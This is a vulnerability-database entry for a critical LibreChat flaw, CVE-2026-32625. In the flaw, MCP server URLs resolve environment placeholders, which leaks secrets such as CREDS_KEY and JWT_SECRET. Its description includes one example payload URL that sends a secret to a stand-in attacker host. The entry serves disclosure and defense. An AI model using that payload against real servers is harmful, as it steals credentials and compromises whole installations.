Servers and applications
CVE-2026-32625
Server Secrets Exfiltration via MCP Server URL Injection
- Severity
- Critical 9.6
- Published
- 2 Jun 2026
- Last changed
- 22 Jul 2026
- Added to UpHeron
- 1 Nov 2026
- Fixed in
- 0.8.4-rc1, 0.8.4
- Exploit chance
- 2.8% in the next 30 daysHigher than 86% of CVEs. EPSS by FIRST, 19 Nov 2026
- Weakness
- Information exposure (CWE-200)
- Attack
- Over the network · Needs a user account · No user action needed
- Attacker can
- Read data · Change data
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N- Also known as
- GHSA-4pcc-j6m6-wcwx
- Sources
- NVD, Project advisories (GitHub)
Description
LibreChat contains a critical information disclosure vulnerability in its Model Context Protocol (MCP) server integration. The validation schema for MCP server configurations actively resolves ${VAR} placeholders against the server's process.env. By creating a malicious MCP server through the authenticated POST /api/mcp/servers endpoint with a URL pointing to an attacker-controlled domain (e.g., http://attacker.com/?k=${CREDS_KEY}), a low-privileged authenticated user can successfully force the LibreChat server to immediately connect to the attacker's server and transmit highly sensitive cryptographic materials including CREDS_KEY, CREDS_IV, and JWT_SECRET. This directly compromises the integrity and confidentiality of the entire LibreChat installation.
The root cause of this vulnerability lies in the Zod transformation applied to the MCP Server URLs.
In packages/data-provider/src/mcp.ts, the URL fields for remote endpoints (SSE, HTTP, WebSocket) use extractEnvVariable:
Affected software
| Software | Affected versions |
|---|---|
LibreChatServers and applications · cpe:a:librechat:librechat |
|
LibreChatServers and applications · github:librechat-ai/librechat |
|
About LibreChat
Enhanced ChatGPT Clone: Features Agents, MCP, Skills, DeepSeek, Anthropic, AWS, OpenAI, Responses API, Azure, Groq, o1, GPT-5, Mistral, OpenRouter, Vertex AI, Gemini, Artifacts, AI model switching, message search, Code Interpreter, langchain, DALL-E-3, OpenAPI Actions, Functions, Secure Multi-User Auth, Presets, open-source for self-hosting. Active
- Docker Hub pulls
- 669,094Docker Hub, 15 Nov 2026
- GitHub stars
- 47,138GitHub, 15 Nov 2026
- Forks
- 9,706GitHub, 15 Nov 2026
- License
- MITGitHub
- First published on GitHub
- 12 Feb 2023GitHub
Source code Website Docker image
Vulnerabilities in LibreChat
- In our list
- 104
- Published in the last 12 months
- 84
- Critical, last 12 months
- 5
- High, last 12 months
- 25
- Known exploited
- 0
- CVE-2026-54041Plaintext password logged on login validation errorLow 3.1 17 Nov 2026
- CVE-2026-54032Remote MCP Server Description XSS via Unsanitized dangerouslySetInnerHTML; secondary Admin Banner sink lacks DOMPurifyMedium 6.1 17 Nov 2026
- CVE-2026-54026Cross-User Message Injection via Parameter Confusion in LibreChatMedium 6.5 17 Nov 2026
- CVE-2026-54031MCP OAuth requests can follow redirects to internal URLs after SSRF validationMedium 6.3 17 Nov 2026
- CVE-2026-54038Server-Side ReDoS via Unescaped Regex in Principal SearchMedium 6.5 17 Nov 2026
- CVE-2026-54045Password Reset Can Wipe Email-Verification Tokens When Verification Is EnforcedMedium 6.5 17 Nov 2026
References
- NVD https://nvd.nist.gov/vuln/detail/CVE-2026-32625
- CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32625
- GitHub Advisory Database https://github.com/advisories/GHSA-4pcc-j6m6-wcwx
- github.com https://github.com/LibreChat-AI/LibreChat/security/advisories/GHSA-4pcc-j6m6-wcwx